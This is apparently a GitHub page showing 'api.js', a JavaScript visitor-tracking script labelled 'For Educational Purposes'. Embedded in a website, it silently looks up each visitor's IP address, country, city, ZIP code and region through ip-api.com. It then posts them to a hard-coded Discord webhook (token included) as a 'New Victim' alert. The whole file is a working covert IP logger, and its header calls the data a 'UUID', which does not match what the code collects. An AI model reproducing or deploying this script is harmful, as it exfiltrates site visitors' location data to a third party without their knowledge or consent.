-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathapi.js
96 lines (92 loc) · 2.7 KB
/
api.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/*
* Programmed by Z3NTL3
* For Educational Purposes
*
* Get the UUID of the web visitor. Even if your website is just static HTML!
*
* UUID INFO will be sent to the configured WEBHOOK!
*
*/
const webhook = "https://discord.com/api/webhooks/1204828221451804754/wLuFtSMub-B3Awzd6fjQ1SRv76g6Q6UBsUTDBs0TvboD_RSPOL1EfsSVxMr6rZkVGOgB"
async function IP_Info(){
/**
* Description: On init , fetches IP information of user
* @return {fetch.Body.json()} Resp Body
*/
let response = await fetch("http://ip-api.com/json", {
method: 'GET',
headers: {
"cache-control" : "no-cache",
"content-type": "application/json"
}
})
return response.json()
}
IP_Info().then((value)=> {
let requiredInfo = [
"status","country", "city", "zip", "regionName"
]
let noData = false
for(var i = 0; i < requiredInfo.length; i++){
if(typeof(value[`${requiredInfo[i]}`]) === 'undefined'){
noData = true
break
}
}
if(noData){
return null
}
return value
}).then( async (value) => {
if(value !== null){
await fetch(webhook, {
method: 'POST',
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
content:"``New Victim``",
embeds: [{
title: "Victim IP",
type:"rich",
color: "12223968",
description: "```IP information of the recent website visitor.```",
fields: [{
name: "IP", value: `${value.query}`, inline: false
},
{
name: "Country", value: `${value.country}`, inline: false
},
{
name: "City", value: `${value.city}`, inline: false
},
{
name: "ZIP", value: `${value.zip}`, inline: false
},
{
name: "Region", value: `${value.regionName}`, inline: false
}
],
footer: {
text: "Programmed by Z3NTL3",
icon_url: "https://avatars.githubusercontent.com/u/48758770?s=400&u=d0a4b500baea4e122b127eb91b4a80af3464f9f5&v=4"
},
author: {
name: "Pix4",
url: "https://code.pix4.dev"
},
thumbnail: {
url: "https://media.tenor.com/h2AVqgVw4ZoAAAAC/gotcha-michael-madsen.gif"
}
}]
})
}).then((value)=>{
console.log(value.statusText)
}).catch((err)=>{
console.log(err)
})
}
}).catch((err)=> {
console.log(err)
console.log('Request not send')
})